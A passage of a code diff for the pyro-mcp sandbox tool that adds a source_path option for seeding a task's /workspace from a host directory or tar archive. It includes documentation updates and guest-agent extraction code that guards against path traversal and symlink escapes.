Pyro pyro = Pyro() -task = pyro.create_task(environment="debian:12") +task = pyro.create_task(environment="debian:12", source_path="./repo") task_id = task["task_id"] try: pyro.exec_task(task_id, command="printf 'hello from task\\n' > note.txt") @@ -378,7 +380,7 @@ Advanced lifecycle tools: Persistent workspace tools: -- `task_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false)` +- `task_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false, source_path=null)` - `task_exec(task_id, command, timeout_seconds=30)` - `task_status(task_id)` - `task_logs(task_id)` diff --git a/docs/first-run.md b/docs/first-run.md index 5b699bf..8a09b35 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.1.0 +Catalog version: 2.2.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -70,7 +70,7 @@ deterministic structured result. ```bash $ uvx --from pyro-mcp pyro demo -$ uvx --from pyro-mcp pyro task create debian:12 +$ uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo $ uvx --from pyro-mcp pyro mcp serve ``` @@ -79,11 +79,12 @@ $ uvx --from pyro-mcp pyro mcp serve When you need repeated commands in one sandbox, switch to `pyro task ...`: ```bash -$ uvx --from pyro-mcp pyro task create debian:12 +$ uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo Task: ... Environment: debian:12 State: started Workspace: /workspace +Workspace seed: directory from ... Execution mode: guest_vsock Resources: 1 vCPU / 1024 MiB Command count: 0 @@ -96,6 +97,9 @@ hello from task [task-exec] task_id=... sequence=2 cwd=/workspace execution_mode=guest_vsock exit_code=0 duration_ms=... ``` +Use `--source-path` when the task should start from a host directory or a local +`.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. + Example output: ```json diff --git a/docs/install.md b/docs/install.md index 6332804..9e234be 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.1.0 +Catalog version: 2.2.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -174,7 +174,7 @@ pyro run debian:12 -- git --version After the CLI path works, you can move on to: -- persistent workspaces: `pyro task create debian:12` +- persistent workspaces: `pyro task create debian:12 --source-path ./repo` - MCP: `pyro mcp serve` - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` @@ -184,7 +184,7 @@ After the CLI path works, you can move on to: Use `pyro task ...` when you need repeated commands in one sandbox instead of one-shot `pyro run`. ```bash -pyro task create debian:12 +pyro task create debian:12 --source-path ./repo pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' pyro task exec TASK_ID -- cat note.txt pyro task logs TASK_ID @@ -192,7 +192,8 @@ pyro task delete TASK_ID ``` Task commands default to the persistent `/workspace` directory inside the guest. If you need the -task identifier programmatically, use `--json` and read the `task_id` field. +task identifier programmatically, use `--json` and read the `task_id` field. Use `--source-path` +when the task should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index 242907c..9401071 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -30,7 +30,7 @@ Best when: Recommended surface: - `vm_run` -- `task_create` + `task_exec` when the agent needs persistent workspace state +- `task_create(source_path=...)` + `task_exec` when the agent needs persistent workspace state Canonical example: @@ -65,14 +65,15 @@ Best when: Recommended default: - `Pyro.run_in_vm(...)` -- `Pyro.create_task(...)` + `Pyro.exec_task(...)` when repeated workspace commands are required +- `Pyro.create_task(source_path=...)` + `Pyro.exec_task(...)` when repeated workspace commands are required Lifecycle note: - `Pyro.exec_vm(...)` runs one command and auto-cleans the VM afterward - use `create_vm(...)` + `start_vm(...)` only when you need pre-exec inspection or status before that final exec -- use `create_task(...)` when the agent needs repeated commands in one persistent `/workspace` +- use `create_task(source_path=...)` when the agent needs repeated commands in one persistent + `/workspace` that starts from host content Examples: diff --git a/docs/public-contract.md b/docs/public-contract.md index 3ecfe9b..2f505f6 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -46,8 +46,12 @@ Behavioral guarantees: - `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`, `pyro env prune`, and `pyro doctor` are human-readable by default and return structured JSON with `--json`. - `pyro demo ollama` prints log lines plus a final summary line. - `pyro task create` auto-starts a persistent workspace. +- `pyro task create --source-path PATH` seeds `/workspace` from a host directory or a local + `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. - `pyro task exec` runs in the persistent `/workspace` for that task and does not auto-clean. - `pyro task logs` returns persisted command history for that task until `pyro task delete`. +- Task create/status results expose `workspace_seed` metadata describing how `/workspace` was + initialized. ## Python SDK Contract @@ -106,6 +110,8 @@ Behavioral defaults: - `Pyro.create_task(...)` defaults to `vcpu_count=1` and `mem_mib=1024`. - `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. - `allow_host_compat` defaults to `False` on `create_task(...)`. +- `Pyro.create_task(..., source_path=...)` seeds `/workspace` from a host directory or a local + `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. - `Pyro.exec_task(...)` runs one command in the persistent task workspace and leaves the task alive. @@ -141,6 +147,8 @@ Behavioral defaults: - `task_create` defaults to `vcpu_count=1` and `mem_mib=1024`. - `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. - `task_create` exposes `allow_host_compat`, which defaults to `false`. +- `task_create` accepts optional `source_path` and seeds `/workspace` from a host directory or a + local `.tar` / `.tar.gz` / `.tgz` archive before the task is returned. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `task_exec` runs one command in a persistent `/workspace` and leaves the task alive. diff --git a/pyproject.toml b/pyproject.toml index 6a50302..f3118c1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.1.0" +version = "2.2.0" description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." readme = "README.md" license = { file = "LICENSE" } diff --git a/runtime_sources/README.md b/runtime_sources/README.md index e304096..5184c0e 100644 --- a/runtime_sources/README.md +++ b/runtime_sources/README.md @@ -34,7 +34,7 @@ Kernel build note: Current status: 1. Firecracker and Jailer are materialized from pinned official release artifacts. 2. The kernel and rootfs images are built from pinned inputs into `build/runtime_sources/`. -3. The guest agent is installed into each rootfs and used for vsock exec. +3. The guest agent is installed into each rootfs and used for vsock exec plus workspace archive imports. 4. `runtime.lock.json` now advertises real guest capabilities. Safety rule: diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index ea9c2cf..d914fc1 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -1,26 +1,31 @@ #!/usr/bin/env python3 -"""Minimal guest-side exec agent for pyro runtime bundles.""" +"""Minimal guest-side exec and workspace import agent for pyro runtime bundles.""" from __future__ import annotations +import io import json +import os import socket import subprocess +import tarfile import time +from pathlib import Path, PurePosixPath from typing import Any PORT = 5005 BUFFER_SIZE = 65536 +WORKSPACE_ROOT = PurePosixPath("/workspace") def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: - data = conn.recv(BUFFER_SIZE) + data = conn.recv(1) if data == b"": break chunks.append(data) - if b"\n" in data: + if data == b"\n": break payload = json.loads(b"".join(chunks).decode("utf-8").strip()) if not isinstance(payload, dict): @@ -28,6 +33,130 @@ def _read_request(conn: socket.socket) -> dict[str, Any]: return payload +def _read_exact(conn: socket.socket, size: int) -> bytes: + remaining = size + chunks: list[bytes] = [] + while remaining > 0: + data = conn.recv(min(BUFFER_SIZE, remaining)) + if data == b"": + raise RuntimeError("unexpected EOF while reading archive payload") + chunks.append(data) + remaining -= len(data) + return b"".join(chunks) + + +def _normalize_member_name(name: str) -> PurePosixPath: + candidate = name.strip() + if candidate == "": + raise RuntimeError("archive member path is empty") + member_path = PurePosixPath(candidate) + if member_path.is_absolute(): + raise RuntimeError(f"absolute archive member paths are not allowed: {name}") + parts = [part for part in member_path.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"unsafe archive member path: {name}") + normalized = PurePosixPath(*parts) + if str(normalized) in {"", "."}: + raise RuntimeError(f"unsafe archive member path: {name}") + return normalized + + +def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: + candidate = destination.strip() + if candidate == "": + raise RuntimeError("destination must not be empty") + destination_path = PurePosixPath(candidate) + if not destination_path.is_absolute(): + destination_path = WORKSPACE_ROOT / destination_path + parts = [part for part in destination_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise RuntimeError("destination must stay inside /workspace") + if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: + raise RuntimeError("destination must stay inside /workspace") + suffix = normalized.relative_to(WORKSPACE_ROOT) + host_path = Path("/workspace") + if str(suffix) not in {"", "."}: + host_path = host_path / str(suffix) + return normalized, host_path + + +def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: + target = link_target.strip() + if target == "": + raise RuntimeError(f"symlink {member_path} has an empty target") + target_path = PurePosixPath(target) + if target_path.is_absolute(): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + combined = member_path.parent.joinpath(target_path) + parts = [part for part in combined.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + + +def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"archive member would traverse through a symlinked path: {member_name}" + ) + + +def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: + _, destination_root = _normalize_destination(destination) + destination_root.mkdir(parents=True, exist_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = destination_root / str(member_name) + entry_count += 1 + _ensure_no_symlink_parents(destination_root, target_path, member.name) + if member.isdir(): + if target_path.exists() and not target_path.is_dir(): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and (target_path.is_dir() or target_path.is_symlink()): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + bytes_written += member.size + continue + if member.issym(): + _validate_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "destination": destination, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: started = time.monotonic() try: @@ -64,9 +193,18 @@ def main() -> None: conn, _ = server.accept() with conn: request = _read_request(conn) - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - response = _run_command(command, timeout_seconds) + action = str(request.get("action", "exec")) + if action == "extract_archive": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + destination = str(request.get("destination", "/workspace")) + payload = _read_exact(conn, archive_size) + response = _extract_archive(payload, destination) + else: + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + response = _run_command(command, timeout_seconds) conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/runtime_sources/linux-x86_64/runtime.lock.json b/runtime_sources/linux-x86_64/runtime.lock.json index b5eca96..72a4e2c 100644 --- a/runtime_sources/linux-x86_64/runtime.lock.json +++ b/runtime_sources/linux-x86_64/runtime.lock.json @@ -5,7 +5,7 @@ "firecracker": "1.12.1", "jailer": "1.12.1", "kernel": "5.10.210", - "guest_agent": "0.1.0-dev", + "guest_agent": "0.2.0-dev", "base_distro": "debian-bookworm-20250210" }, "capabilities": { diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 82f3abf..196e814 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -86,6 +86,7 @@ class Pyro: ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + source_path: str | Path | None = None, ) -> dict[str, Any]: return self._manager.create_task( environment=environment, @@ -94,6 +95,7 @@ class Pyro: ttl_seconds=ttl_seconds, network=network, allow_host_compat=allow_host_compat, + source_path=source_path, ) def exec_task( @@ -245,6 +247,7 @@ class Pyro: ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + source_path: str | None = None, ) -> dict[str, Any]: """Create and start a persistent task workspace.""" return self.create_task( @@ -254,6 +257,7 @@ class Pyro: ttl_seconds=ttl_seconds, network=network, allow_host_compat=allow_host_compat, + source_path=source_path, ) @server.tool() diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 16c056c..90aad34 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -4,6 +4,7 @@ from __future__ import annotations import argparse import json +import shlex import sys from textwrap import dedent from typing import Any @@ -155,6 +156,14 @@ def _print_task_summary_human(payload: dict[str, Any], *, action: str) -> None: print(f"Environment: {str(payload.get('environment', 'unknown'))}") print(f"State: {str(payload.get('state', 'unknown'))}") print(f"Workspace: {str(payload.get('workspace_path', '/workspace'))}") + workspace_seed = payload.get("workspace_seed") + if isinstance(workspace_seed, dict): + mode = str(workspace_seed.get("mode", "empty")) + source_path = workspace_seed.get("source_path") + if isinstance(source_path, str) and source_path != "": + print(f"Workspace seed: {mode} from {source_path}") + else: + print(f"Workspace seed: {mode}") print(f"Execution mode: {str(payload.get('execution_mode', 'pending'))}") print( f"Resources: {int(payload.get('vcpu_count', 0))} vCPU / " @@ -446,7 +455,7 @@ def _build_parser() -> argparse.ArgumentParser: epilog=dedent( """ Examples: - pyro task create debian:12 + pyro task create debian:12 --source-path ./repo pyro task exec TASK_ID -- sh -lc 'printf "hello\\n" > note.txt' pyro task logs TASK_ID """ @@ -458,7 +467,13 @@ def _build_parser() -> argparse.ArgumentParser: "create", help="Create and start a persistent task workspace.", description="Create a task workspace that stays alive across repeated exec calls.", - epilog="Example:\n pyro task create debian:12", + epilog=dedent( + """ + Examples: + pyro task create debian:12 + pyro task create debian:12 --source-path ./repo + """ + ), formatter_class=_HelpFormatter, ) task_create_parser.add_argument( @@ -497,6 +512,13 @@ def _build_parser() -> argparse.ArgumentParser: "is unavailable." ), ) + task_create_parser.add_argument( + "--source-path", + help=( + "Optional host directory or .tar/.tar.gz/.tgz archive to seed into `/workspace` " + "before the task is returned." + ), + ) task_create_parser.add_argument( "--json", action="store_true", @@ -663,7 +685,7 @@ def _require_command(command_args: list[str]) -> str: command_args = command_args[1:] if not command_args: raise ValueError("command is required after `--`") - return " ".join(command_args) + return shlex.join(command_args) def main() -> None: @@ -764,6 +786,7 @@ def main() -> None: ttl_seconds=args.ttl_seconds, network=args.network, allow_host_compat=args.allow_host_compat, + source_path=args.source_path, ) if bool(args.json): _print_json(payload) diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 4e6866e..f582609 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -6,6 +6,15 @@ PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run", "task") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") PUBLIC_CLI_TASK_SUBCOMMANDS = ("create", "delete", "exec", "logs", "status") +PUBLIC_CLI_TASK_CREATE_FLAGS = ( + "--vcpu-count", + "--mem-mib", + "--ttl-seconds", + "--network", + "--allow-host-compat", + "--source-path", + "--json", +) PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", "--mem-mib", diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index ea9c2cf..d914fc1 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -1,26 +1,31 @@ #!/usr/bin/env python3 -"""Minimal guest-side exec agent for pyro runtime bundles.""" +"""Minimal guest-side exec and workspace import agent for pyro runtime bundles.""" from __future__ import annotations +import io import json +import os import socket import subprocess +import tarfile import time +from pathlib import Path, PurePosixPath from typing import Any PORT = 5005 BUFFER_SIZE = 65536 +WORKSPACE_ROOT = PurePosixPath("/workspace") def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: - data = conn.recv(BUFFER_SIZE) + data = conn.recv(1) if data == b"": break chunks.append(data) - if b"\n" in data: + if data == b"\n": break payload = json.loads(b"".join(chunks).decode("utf-8").strip()) if not isinstance(payload, dict): @@ -28,6 +33,130 @@ def _read_request(conn: socket.socket) -> dict[str, Any]: return payload +def _read_exact(conn: socket.socket, size: int) -> bytes: + remaining = size + chunks: list[bytes] = [] + while remaining > 0: + data = conn.recv(min(BUFFER_SIZE, remaining)) + if data == b"": + raise RuntimeError("unexpected EOF while reading archive payload") + chunks.append(data) + remaining -= len(data) + return b"".join(chunks) + + +def _normalize_member_name(name: str) -> PurePosixPath: + candidate = name.strip() + if candidate == "": + raise RuntimeError("archive member path is empty") + member_path = PurePosixPath(candidate) + if member_path.is_absolute(): + raise RuntimeError(f"absolute archive member paths are not allowed: {name}") + parts = [part for part in member_path.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"unsafe archive member path: {name}") + normalized = PurePosixPath(*parts) + if str(normalized) in {"", "."}: + raise RuntimeError(f"unsafe archive member path: {name}") + return normalized + + +def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: + candidate = destination.strip() + if candidate == "": + raise RuntimeError("destination must not be empty") + destination_path = PurePosixPath(candidate) + if not destination_path.is_absolute(): + destination_path = WORKSPACE_ROOT / destination_path + parts = [part for part in destination_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise RuntimeError("destination must stay inside /workspace") + if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: + raise RuntimeError("destination must stay inside /workspace") + suffix = normalized.relative_to(WORKSPACE_ROOT) + host_path = Path("/workspace") + if str(suffix) not in {"", "."}: + host_path = host_path / str(suffix) + return normalized, host_path + + +def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: + target = link_target.strip() + if target == "": + raise RuntimeError(f"symlink {member_path} has an empty target") + target_path = PurePosixPath(target) + if target_path.is_absolute(): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + combined = member_path.parent.joinpath(target_path) + parts = [part for part in combined.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + + +def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"archive member would traverse through a symlinked path: {member_name}" + ) + + +def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: + _, destination_root = _normalize_destination(destination) + destination_root.mkdir(parents=True, exist_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = destination_root / str(member_name) + entry_count += 1 + _ensure_no_symlink_parents(destination_root, target_path, member.name) + if member.isdir(): + if target_path.exists() and not target_path.is_dir(): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and (target_path.is_dir() or target_path.is_symlink()): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + bytes_written += member.size + continue + if member.issym(): + _validate_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "destination": destination, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: started = time.monotonic() try: @@ -64,9 +193,18 @@ def main() -> None: conn, _ = server.accept() with conn: request = _read_request(conn) - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - response = _run_command(command, timeout_seconds) + action = str(request.get("action", "exec")) + if action == "extract_archive": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + destination = str(request.get("destination", "/workspace")) + payload = _read_exact(conn, archive_size) + response = _extract_archive(payload, destination) + else: + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + response = _run_command(command, timeout_seconds) conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index 1e521e1..948953a 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -18,14 +18,14 @@ "component_versions": { "base_distro": "debian-bookworm-20250210", "firecracker": "1.12.1", - "guest_agent": "0.1.0-dev", + "guest_agent": "0.2.0-dev", "jailer": "1.12.1", "kernel": "5.10.210" }, "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "65bf8a9a57ffd7321463537e598c4b30f0a13046cbd4538f1b65bc351da5d3c0" + "sha256": "3b684b1b07745fc7788e560b0bdd0c0535c31c395ff87474ae9e114f4489726d" } }, "platform": "linux-x86_64", diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 4067fe0..8f7cc21 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.1.0" +DEFAULT_CATALOG_VERSION = "2.2.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index 772f998..d6acd3a 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -5,6 +5,7 @@ from __future__ import annotations import json import socket from dataclasses import dataclass +from pathlib import Path from typing import Any, Callable, Protocol @@ -31,6 +32,13 @@ class GuestExecResponse: duration_ms: int +@dataclass(frozen=True) +class GuestArchiveResponse: + destination: str + entry_count: int + bytes_written: int + + class VsockExecClient: """Minimal JSON-over-stream client for a guest exec agent.""" @@ -50,6 +58,63 @@ class VsockExecClient: "command": command, "timeout_seconds": timeout_seconds, } + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + payload = self._recv_json_payload(sock) + finally: + sock.close() + + if not isinstance(payload, dict): + raise RuntimeError("guest exec response must be a JSON object") + return GuestExecResponse( + stdout=str(payload.get("stdout", "")), + stderr=str(payload.get("stderr", "")), + exit_code=int(payload.get("exit_code", -1)), + duration_ms=int(payload.get("duration_ms", 0)), + ) + + def upload_archive( + self, + guest_cid: int, + port: int, + archive_path: Path, + *, + destination: str, + timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> GuestArchiveResponse: + request = { + "action": "extract_archive", + "destination": destination, + "archive_size": archive_path.stat().st_size, + } + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + with archive_path.open("rb") as handle: + for chunk in iter(lambda: handle.read(65536), b""): + sock.sendall(chunk) + payload = self._recv_json_payload(sock) + finally: + sock.close() + + if not isinstance(payload, dict): + raise RuntimeError("guest archive response must be a JSON object") + return GuestArchiveResponse( + destination=str(payload.get("destination", destination)), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), + ) + + def _connect( + self, + guest_cid: int, + port: int, + timeout_seconds: int, + *, + uds_path: str | None, + ) -> SocketLike: family = getattr(socket, "AF_VSOCK", None) if family is not None: sock = self._socket_factory(family, socket.SOCK_STREAM) @@ -59,33 +124,15 @@ class VsockExecClient: connect_address = uds_path else: raise RuntimeError("vsock sockets are not supported on this host Python runtime") - try: - sock.settimeout(timeout_seconds) - sock.connect(connect_address) - if family is None: - sock.sendall(f"CONNECT {port}\n".encode("utf-8")) - status = self._recv_line(sock) - if not status.startswith("OK "): - raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}") - sock.sendall((json.dumps(request) + "\n").encode("utf-8")) - chunks: list[bytes] = [] - while True: - data = sock.recv(65536) - if data == b"": - break - chunks.append(data) - finally: - sock.close() - - payload = json.loads(b"".join(chunks).decode("utf-8")) - if not isinstance(payload, dict): - raise RuntimeError("guest exec response must be a JSON object") - return GuestExecResponse( - stdout=str(payload.get("stdout", "")), - stderr=str(payload.get("stderr", "")), - exit_code=int(payload.get("exit_code", -1)), - duration_ms=int(payload.get("duration_ms", 0)), - ) + sock.settimeout(timeout_seconds) + sock.connect(connect_address) + if family is None: + sock.sendall(f"CONNECT {port}\n".encode("utf-8")) + status = self._recv_line(sock) + if not status.startswith("OK "): + sock.close() + raise RuntimeError(f"vsock unix bridge rejected port {port}: {status.strip()}") + return sock @staticmethod def _recv_line(sock: SocketLike) -> str: @@ -98,3 +145,13 @@ class VsockExecClient: if data == b"\n": break return b"".join(chunks).decode("utf-8", errors="replace") + + @staticmethod + def _recv_json_payload(sock: SocketLike) -> Any: + chunks: list[bytes] = [] + while True: + data = sock.recv(65536) + if data == b"": + break + chunks.append(data) + return json.loads(b"".join(chunks).decode("utf-8")) diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index e93b4c8..398951a 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -8,11 +8,13 @@ import shlex import shutil import signal import subprocess +import tarfile +import tempfile import threading import time import uuid from dataclasses import dataclass, field -from pathlib import Path +from pathlib import Path, PurePosixPath from typing import Any, Literal, cast from pyro_mcp.runtime import ( @@ -34,11 +36,15 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -TASK_LAYOUT_VERSION = 1 +TASK_LAYOUT_VERSION = 2 TASK_WORKSPACE_DIRNAME = "workspace" TASK_COMMANDS_DIRNAME = "commands" TASK_RUNTIME_DIRNAME = "runtime" TASK_WORKSPACE_GUEST_PATH = "/workspace" +TASK_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" +TASK_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 + +WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] @dataclass @@ -82,6 +88,7 @@ class TaskRecord: network: NetworkConfig | None = None command_count: int = 0 last_command: dict[str, Any] | None = None + workspace_seed: dict[str, Any] = field(default_factory=dict) @classmethod def from_instance( @@ -90,6 +97,7 @@ class TaskRecord: *, command_count: int = 0, last_command: dict[str, Any] | None = None, + workspace_seed: dict[str, Any] | None = None, ) -> TaskRecord: return cls( task_id=instance.vm_id, @@ -108,6 +116,7 @@ class TaskRecord: network=instance.network, command_count=command_count, last_command=last_command, + workspace_seed=dict(workspace_seed or _empty_workspace_seed_payload()), ) def to_instance(self, *, workdir: Path) -> VmInstance: @@ -148,6 +157,7 @@ class TaskRecord: "network": _serialize_network(self.network), "command_count": self.command_count, "last_command": self.last_command, + "workspace_seed": self.workspace_seed, } @classmethod @@ -169,9 +179,35 @@ class 